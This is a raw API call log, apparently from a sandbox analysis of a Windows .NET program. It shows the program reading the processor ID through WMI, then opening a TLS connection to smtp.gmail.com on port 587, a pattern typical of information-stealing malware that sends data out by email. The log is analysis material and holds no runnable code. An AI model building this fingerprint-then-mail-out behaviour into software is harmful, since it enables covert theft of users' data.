	[0107.832] IUnknown:Release (This=0x72d674) returned 0x3
	[0107.832] IUnknown:Release (This=0x72d68c) returned 0x2
	[0107.832] CoGetContextToken (in: pToken=0x6b5e738 | out: pToken=0x6b5e738) returned 0x0
	[0107.832] CoGetContextToken (in: pToken=0x6b5e698 | out: pToken=0x6b5e698) returned 0x0
	[0107.832] IUnknown:QueryInterface (in: This=0x72d68c, riid=0x6b5e768*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x6b5e764 | out: ppvObject=0x6b5e764*=0x69c6f2c) returned 0x0
	[0107.832] IUnknown:AddRef (This=0x69c6f2c) returned 0x4
	[0107.833] IUnknown:Release (This=0x69c6f2c) returned 0x3
	[0107.833] IUnknown:Release (This=0x69c6f2c) returned 0x2
	[0107.833] IUnknown:Release (This=0x69c6e64) returned 0x2
	[0107.833] SysStringLen (param_1=0x0) returned 0x0
	[0107.833] IEnumWbemClassObject:Reset (This=0x69c6f2c) returned 0x0
	[0107.835] CoTaskMemAlloc (cb=0x4) returned 0x719c00
	[0107.835] IEnumWbemClassObject:Next (in: This=0x69c6f2c, lTimeout=-1, uCount=0x1, apObjects=0x719c00, puReturned=0x249cae4 | out: apObjects=0x719c00*=0x69c6f68, puReturned=0x249cae4*=0x1) returned 0x0
	[0109.594] IUnknown:QueryInterface (in: This=0x69c6f68, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5dfe8 | out: ppvObject=0x6b5dfe8*=0x69c6f68) returned 0x0
	[0109.594] IUnknown:QueryInterface (in: This=0x69c6f68, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b5dfa4 | out: ppvObject=0x6b5dfa4*=0x0) returned 0x80004002
	[0109.594] IUnknown:QueryInterface (in: This=0x69c6f68, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b5ddc4 | out: ppvObject=0x6b5ddc4*=0x0) returned 0x80004002
	[0109.594] IUnknown:AddRef (This=0x69c6f68) returned 0x3
	[0109.594] IUnknown:QueryInterface (in: This=0x69c6f68, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5d904 | out: ppvObject=0x6b5d904*=0x0) returned 0x80004002
	[0109.594] IUnknown:QueryInterface (in: This=0x69c6f68, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5d8b4 | out: ppvObject=0x6b5d8b4*=0x0) returned 0x80004002
	[0109.594] IUnknown:QueryInterface (in: This=0x69c6f68, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5d8c0 | out: ppvObject=0x6b5d8c0*=0x69c6f6c) returned 0x0
	[0109.594] IMarshal:GetUnmarshalClass (in: This=0x69c6f6c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5d8c8 | out: pCid=0x6b5d8c8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0
	[0109.594] IUnknown:Release (This=0x69c6f6c) returned 0x3
	[0109.594] CoGetContextToken (in: pToken=0x6b5d920 | out: pToken=0x6b5d920) returned 0x0
	[0109.594] CoGetContextToken (in: pToken=0x6b5dd28 | out: pToken=0x6b5dd28) returned 0x0
	[0109.594] IUnknown:QueryInterface (in: This=0x69c6f68, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5ddb8 | out: ppvObject=0x6b5ddb8*=0x0) returned 0x80004002
	[0109.594] IUnknown:Release (This=0x69c6f68) returned 0x2
	[0109.594] CoGetContextToken (in: pToken=0x6b5e2f8 | out: pToken=0x6b5e2f8) returned 0x0
	[0109.594] CoGetContextToken (in: pToken=0x6b5e258 | out: pToken=0x6b5e258) returned 0x0
	[0109.594] IUnknown:QueryInterface (in: This=0x69c6f68, riid=0x6b5e328*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x6b5e324 | out: ppvObject=0x6b5e324*=0x69c6f68) returned 0x0
	[0109.594] IUnknown:AddRef (This=0x69c6f68) returned 0x4
	[0109.594] IUnknown:Release (This=0x69c6f68) returned 0x3
	[0109.595] IUnknown:Release (This=0x69c6f68) returned 0x2
	[0109.595] CoTaskMemFree (pv=0x719c00) 
	[0109.595] CoGetContextToken (in: pToken=0x6b5e668 | out: pToken=0x6b5e668) returned 0x0
	[0109.595] IUnknown:AddRef (This=0x69c6f68) returned 0x3
	[0109.595] IWbemClassObject:Get (in: This=0x69c6f68, wszName="__GENUS", lFlags=0, pVal=0x6b5e978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x6b5e9f8*=0, plFlavor=0x6b5e9f4*=0 | out: pVal=0x6b5e978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x6b5e9f8*=3, plFlavor=0x6b5e9f4*=64) returned 0x0
	[0109.595] IWbemClassObject:Get (in: This=0x69c6f68, wszName="__PATH", lFlags=0, pVal=0x6b5e95c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x6b5e9e0*=0, plFlavor=0x6b5e9dc*=0 | out: pVal=0x6b5e95c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x6b5e9e0*=8, plFlavor=0x6b5e9dc*=64) returned 0x0
	[0109.595] SysStringByteLen (bstr="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x68
	[0109.595] SysStringByteLen (bstr="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x68
	[0109.595] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x53c
	[0109.595] SetEvent (hEvent=0x480) returned 1
	[0109.595] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6b5e934*=0x53c, lpdwindex=0x6b5e754 | out: lpdwindex=0x6b5e754) returned 0x0
	[0109.596] CoGetContextToken (in: pToken=0x6b5e800 | out: pToken=0x6b5e800) returned 0x0
	[0109.596] CoGetContextToken (in: pToken=0x6b5e760 | out: pToken=0x6b5e760) returned 0x0
	[0109.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c7100, riid=0x6b5e830*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x6b5e82c | out: ppvObject=0x6b5e82c*=0x69c7100) returned 0x0
	[0109.596] WbemDefPath:IUnknown:AddRef (This=0x69c7100) returned 0x3
	[0109.596] WbemDefPath:IUnknown:Release (This=0x69c7100) returned 0x2
	[0109.596] WbemDefPath:IWbemPath:SetText (This=0x69c7100, uMode=0x4, pszPath="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0
	[0109.596] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c6918, puCount=0x6b5e9b4 | out: puCount=0x6b5e9b4*=0x2) returned 0x0
	[0109.596] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e9b0*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e9b0*=0xf, pszText=0x0) returned 0x0
	[0109.596] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e9b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e9b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0109.597] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c6918, puCount=0x6b5e994 | out: puCount=0x6b5e994*=0x2) returned 0x0
	[0109.597] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e990*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e990*=0xf, pszText=0x0) returned 0x0
	[0109.597] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e990*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e990*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0109.597] IWbemClassObject:Get (in: This=0x69c6f68, wszName="processorID", lFlags=0, pVal=0x6b5e990*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5d4c*=0, plFlavor=0x24b5d50*=0 | out: pVal=0x6b5e990*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x24b5d4c*=8, plFlavor=0x24b5d50*=0) returned 0x0
	[0109.597] SysStringByteLen (bstr="0F8BFBFF000506E3") returned 0x20
	[0109.597] SysStringByteLen (bstr="0F8BFBFF000506E3") returned 0x20
	[0109.597] IWbemClassObject:Get (in: This=0x69c6f68, wszName="processorID", lFlags=0, pVal=0x6b5e998*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5d4c*=8, plFlavor=0x24b5d50*=0 | out: pVal=0x6b5e998*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x24b5d4c*=8, plFlavor=0x24b5d50*=0) returned 0x0
	[0109.597] SysStringByteLen (bstr="0F8BFBFF000506E3") returned 0x20
	[0109.597] SysStringByteLen (bstr="0F8BFBFF000506E3") returned 0x20
	[0109.597] CoGetContextToken (in: pToken=0x6b5e8b0 | out: pToken=0x6b5e8b0) returned 0x0
	[0109.597] IUnknown:Release (This=0x72d68c) returned 0x1
	[0109.597] IUnknown:Release (This=0x69c6f2c) returned 0x0
	[0109.822] SystemFunction041 (in: Memory=0x6eb824, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x6eb824) returned 0x0
	[0109.823] SysStringLen (param_1="pnurezatdwsdhunf") returned 0x10
	[0109.823] SystemFunction040 (in: Memory=0x714794, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x714794) returned 0x0
	[0109.892] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4d0
	[0109.893] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x35c
	[0109.894] SetEvent (hEvent=0x348) returned 1
	[0109.894] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x186a0, cHandles=0x3, pHandles=0x6b5e800*=0x52c, lpdwindex=0x6b5e6bc | out: lpdwindex=0x6b5e6bc) returned 0x0
	[0109.894] ReleaseMutex (hMutex=0x35c) returned 1
	[0109.894] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x368
	[0109.894] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x36c
	[0109.894] GetAddrInfoW (in: pNodeName="smtp.gmail.com", pServiceName=0x0, pHints=0x6b5e7bc*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x6b5e764 | out: ppResult=0x6b5e764*=0x74a030*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="gmail-smtp-msa.l.google.com", ai_addr=0x71b018*(sa_family=2, sin_port=0x0, sin_addr="64.233.166.108"), ai_next=0x74a080*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x712080*(sa_family=2, sin_port=0x0, sin_addr="64.233.166.109"), ai_next=0x0))) returned 0
	[0109.941] FreeAddrInfoW (pAddrInfo=0x74a030*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="gmail-smtp-msa.l.google.com", ai_addr=0x71b018*(sa_family=2, sin_port=0x0, sin_addr="64.233.166.108"), ai_next=0x74a080*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x712080*(sa_family=2, sin_port=0x0, sin_addr="64.233.166.109"), ai_next=0x0))) 
	[0109.941] GetAddrInfoW (in: pNodeName="smtp.gmail.com", pServiceName=0x0, pHints=0x6b5e7bc*(ai_flags=131072, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x6b5e764 | out: ppResult=0x6b5e764*=0x74a080*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="smtp.gmail.com", ai_addr=0x712080*(sa_family=2, sin_port=0x0, sin_addr="64.233.166.108"), ai_next=0x74a058*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x7120c8*(sa_family=2, sin_port=0x0, sin_addr="64.233.166.109"), ai_next=0x0))) returned 0
	[0109.942] FreeAddrInfoW (pAddrInfo=0x74a080*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="smtp.gmail.com", ai_addr=0x712080*(sa_family=2, sin_port=0x0, sin_addr="64.233.166.108"), ai_next=0x74a058*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x7120c8*(sa_family=2, sin_port=0x0, sin_addr="64.233.166.109"), ai_next=0x0))) 
	[0109.942] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x6b5e704*=0x474, lpdwindex=0x6b5e524 | out: lpdwindex=0x6b5e524) returned 0x80010115
	[0109.942] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x6b5e704*=0x47c, lpdwindex=0x6b5e524 | out: lpdwindex=0x6b5e524) returned 0x80010115
	[0109.943] WSAConnect (in: s=0x368, name=0x24b81e0*(sa_family=2, sin_port=0x24b, sin_addr="64.233.166.108"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0
	[0109.980] closesocket (s=0x36c) returned 0
	[0109.980] setsockopt (s=0x368, level=6, optname=1, optval="\x01", optlen=4) returned 0
	[0109.984] recv (in: s=0x368, buf=0x24b8258, len=256, flags=0 | out: buf=0x24b8258*) returned 57
	[0110.053] send (in: s=0x368, buf=0x24b6538*, len=14, flags=0 | out: buf=0x24b6538*) returned 14
	[0110.053] recv (in: s=0x368, buf=0x24b8258, len=256, flags=0 | out: buf=0x24b8258*) returned 169
	[0110.082] send (in: s=0x368, buf=0x24b6538*, len=10, flags=0 | out: buf=0x24b6538*) returned 10
	[0110.082] recv (in: s=0x368, buf=0x24b8258, len=256, flags=0 | out: buf=0x24b8258*) returned 30
	[0110.110] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x6b5d2e0 | out: phkResult=0x6b5d2e0*=0x0) returned 0x2
	[0110.112] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x6b5e7f8 | out: phkResult=0x6b5e7f8*=0x36c) returned 0x0
	[0110.112] RegQueryValueExW (in: hKey=0x36c, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x6b5e814, lpData=0x0, lpcbData=0x6b5e810*=0x0 | out: lpType=0x6b5e814*=0x0, lpData=0x0, lpcbData=0x6b5e810*=0x0) returned 0x2
	[0110.112] RegCloseKey (hKey=0x36c) returned 0x0
	[0110.122] EnumerateSecurityPackagesW (in: pcPackages=0x6b5e804, ppPackageInfo=0x6b5e798 | out: pcPackages=0x6b5e804, ppPackageInfo=0x6b5e798) returned 0x0
	[0110.131] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x24ba380, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x6b5e638, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x24bb8b4, ptsExpiry=0x6b5e5bc | out: phCredential=0x24bb8b4, ptsExpiry=0x6b5e5bc) returned 0x0
	[0110.290] InitializeSecurityContextW (in: phCredential=0x6b5e5fc, phContext=0x0, pTargetName=0x240c808, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x24bbaa8, pOutput=0x24bba40, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e5f4 | out: phNewContext=0x24bbaa8, pOutput=0x24bba40, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e5f4) returned 0x90312
	[0110.291] FreeContextBuffer (in: pvContextBuffer=0x6ca110 | out: pvContextBuffer=0x6ca110) returned 0x0
	[0110.292] send (in: s=0x368, buf=0x24bbabc*, len=118, flags=0 | out: buf=0x24bbabc*) returned 118
	[0110.292] recv (in: s=0x368, buf=0x24bbabc, len=5, flags=0 | out: buf=0x24bbabc*) returned 5
	[0110.315] recv (in: s=0x368, buf=0x24bbac1, len=87, flags=0 | out: buf=0x24bbac1*) returned 87
	[0110.316] InitializeSecurityContextW (in: phCredential=0x6b5e560, phContext=0x6b5e5ec, pTargetName=0x240c808, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x24bbcc0, Reserved2=0x0, phNewContext=0x24bbaa8, pOutput=0x24bbcd4, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e558 | out: phNewContext=0x24bbaa8, pOutput=0x24bbcd4, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e558) returned 0x90312
	[0110.316] recv (in: s=0x368, buf=0x24bbd64, len=5, flags=0 | out: buf=0x24bbd64*) returned 5
	[0110.316] recv (in: s=0x368, buf=0x24bbd7d, len=2291, flags=0 | out: buf=0x24bbd7d*) returned 2291
	[0110.316] InitializeSecurityContextW (in: phCredential=0x6b5e4c8, phContext=0x6b5e554, pTargetName=0x240c808, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x24bc6e0, Reserved2=0x0, phNewContext=0x24bbaa8, pOutput=0x24bc6f4, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e4c0 | out: phNewContext=0x24bbaa8, pOutput=0x24bc6f4, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e4c0) returned 0x90312
	[0110.316] recv (in: s=0x368, buf=0x24bc784, len=5, flags=0 | out: buf=0x24bc784*) returned 5
	[0110.316] recv (in: s=0x368, buf=0x24bc79d, len=331, flags=0 | out: buf=0x24bc79d*) returned 331
	[0110.316] InitializeSecurityContextW (in: phCredential=0x6b5e430, phContext=0x6b5e4bc, pTargetName=0x240c808, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x24bc958, Reserved2=0x0, phNewContext=0x24bbaa8, pOutput=0x24bc96c, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e428 | out: phNewContext=0x24bbaa8, pOutput=0x24bc96c, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e428) returned 0x90312
	[0110.316] recv (in: s=0x368, buf=0x24bc9fc, len=5, flags=0 | out: buf=0x24bc9fc*) returned 5
	[0110.316] recv (in: s=0x368, buf=0x24bca15, len=4, flags=0 | out: buf=0x24bca15*) returned 4
	[0110.316] InitializeSecurityContextW (in: phCredential=0x6b5e398, phContext=0x6b5e424, pTargetName=0x240c808, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x24bca8c, Reserved2=0x0, phNewContext=0x24bbaa8, pOutput=0x24bcaa0, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e390 | out: phNewContext=0x24bbaa8, pOutput=0x24bcaa0, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e390) returned 0x90312
	[0110.321] FreeContextBuffer (in: pvContextBuffer=0x6c1770 | out: pvContextBuffer=0x6c1770) returned 0x0
	[0110.321] send (in: s=0x368, buf=0x24bcb1c*, len=134, flags=0 | out: buf=0x24bcb1c*) returned 134
	[0110.321] recv (in: s=0x368, buf=0x24bcb1c, len=5, flags=0 | out: buf=0x24bcb1c*) returned 5
	[0110.341] recv (in: s=0x368, buf=0x24bcb21, len=1, flags=0 | out: buf=0x24bcb21*) returned 1
	[0110.341] InitializeSecurityContextW (in: phCredential=0x6b5e300, phContext=0x6b5e38c, pTargetName=0x240c808, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x24bcc28, Reserved2=0x0, phNewContext=0x24bbaa8, pOutput=0x24bcc3c, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e2f8 | out: phNewContext=0x24bbaa8, pOutput=0x24bcc3c, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e2f8) returned 0x90312
	[0110.341] recv (in: s=0x368, buf=0x24bcccc, len=5, flags=0 | out: buf=0x24bcccc*) returned 5
	[0110.342] recv (in: s=0x368, buf=0x24bcce5, len=48, flags=0 | out: buf=0x24bcce5*) returned 48
	[0110.342] InitializeSecurityContextW (in: phCredential=0x6b5e268, phContext=0x6b5e2f4, pTargetName=0x240c808, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x24bcd88, Reserved2=0x0, phNewContext=0x24bbaa8, pOutput=0x24bcd9c, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e260 | out: phNewContext=0x24bbaa8, pOutput=0x24bcd9c, pfContextAttr=0x24ba354, ptsExpiry=0x6b5e260) returned 0x0
	[0110.529] QueryContextAttributesW (in: phContext=0x24bbaa8, ulAttribute=0x4, pBuffer=0x24bce48 | out: pBuffer=0x24bce48) returned 0x0
	[0110.529] QueryContextAttributesW (in: phContext=0x24bbaa8, ulAttribute=0x5a, pBuffer=0x24bcea0 | out: pBuffer=0x24bcea0) returned 0x0
	[0110.535] QueryContextAttributesW (in: phContext=0x24bbaa8, ulAttribute=0x53, pBuffer=0x24bd154 | out: pBuffer=0x24bd154) returned 0x0
	[0110.558] CertDuplicateCRLContext (pCrlContext=0x542d128) returned 0x542d128
	[0110.558] CertDuplicateStore (hCertStore=0x6bcd68) returned 0x6bcd68
	[0110.558] CertEnumCertificatesInStore (hCertStore=0x6bcd68, pPrevCertContext=0x0) returned 0x542d178
	[0110.558] CertDuplicateCRLContext (pCrlContext=0x542d178) returned 0x542d178
	[0110.559] CertEnumCertificatesInStore (hCertStore=0x6bcd68, pPrevCertContext=0x542d178) returned 0x542d128
	[0110.559] CertDuplicateCRLContext (pCrlContext=0x542d128) returned 0x542d128
	[0110.559] CertEnumCertificatesInStore (hCertStore=0x6bcd68, pPrevCertContext=0x542d128) returned 0x0
	[0110.559] CertCloseStore (hCertStore=0x6bcd68, dwFlags=0x0) returned 1
	[0110.559] CertFreeCRLContext (pCrlContext=0x542d128) returned 1
	[0110.560] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x710630
	[0110.561] CertAddCRLLinkToStore (in: hCertStore=0x710630, pCrlContext=0x542d178, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1
	[0110.563] CertAddCRLLinkToStore (in: hCertStore=0x710630, pCrlContext=0x542d128, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1
	[0110.598] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x6b5df0c | out: pTimeZoneInformation=0x6b5df0c) returned 0x0
	[0110.599] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\Greenwich Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x6b5dff0 | out: phkResult=0x6b5dff0*=0x664) returned 0x0
	[0110.599] RegQueryValueExW (in: hKey=0x664, lpValueName="TZI", lpReserved=0x0, lpType=0x6b5e00c, lpData=0x0, lpcbData=0x6b5e008*=0x0 | out: lpType=0x6b5e00c*=0x3, lpData=0x0, lpcbData=0x6b5e008*=0x2c) returned 0x0
	[0110.599] RegQueryValueExW (in: hKey=0x664, lpValueName="TZI", lpReserved=0x0, lpType=0x6b5e00c, lpData=0x24be2bc, lpcbData=0x6b5e008*=0x2c | out: lpType=0x6b5e00c*=0x3, lpData=0x24be2bc*, lpcbData=0x6b5e008*=0x2c) returned 0x0
	[0110.599] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\Greenwich Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x6b5de44 | out: phkResult=0x6b5de44*=0x0) returned 0x2
	[0110.600] RegQueryValueExW (in: hKey=0x664, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x6b5dfe4, lpData=0x0, lpcbData=0x6b5dfe0*=0x0 | out: lpType=0x6b5dfe4*=0x1, lpData=0x0, lpcbData=0x6b5dfe0*=0x20) returned 0x0
	[0110.600] RegQueryValueExW (in: hKey=0x664, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x6b5dfe4, lpData=0x24be688, lpcbData=0x6b5dfe0*=0x20 | out: lpType=0x6b5dfe4*=0x1, lpData="@tzres.dll,-880", lpcbData=0x6b5dfe0*=0x20) returned 0x0
	[0110.600] RegQueryValueExW (in: hKey=0x664, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x6b5dfe4, lpData=0x0, lpcbData=0x6b5dfe0*=0x0 | out: lpType=0x6b5dfe4*=0x1, lpData=0x0, lpcbData=0x6b5dfe0*=0x20) returned 0x0
	[0110.600] RegQueryValueExW (in: hKey=0x664, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x6b5dfe4, lpData=0x24be6e0, lpcbData=0x6b5dfe0*=0x20 | out: lpType=0x6b5dfe4*=0x1, lpData="@tzres.dll,-272", lpcbData=0x6b5dfe0*=0x20) returned 0x0
	[0110.600] RegQueryValueExW (in: hKey=0x664, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x6b5dfe4, lpData=0x0, lpcbData=0x6b5dfe0*=0x0 | out: lpType=0x6b5dfe4*=0x1, lpData=0x0, lpcbData=0x6b5dfe0*=0x20) returned 0x0
	[0110.600] RegQueryValueExW (in: hKey=0x664, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x6b5dfe4, lpData=0x24be738, lpcbData=0x6b5dfe0*=0x20 | out: lpType=0x6b5dfe4*=0x1, lpData="@tzres.dll,-271", lpcbData=0x6b5dfe0*=0x20) returned 0x0
	[0110.601] CoTaskMemAlloc (cb=0x20c) returned 0x73c098
	[0110.601] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x73c098 | out: pszPath="C:\\Windows\\system32") returned 0x0
	[0110.601] CoTaskMemFree (pv=0x73c098) 
	[0110.601] CoTaskMemAlloc (cb=0x20c) returned 0x73c098
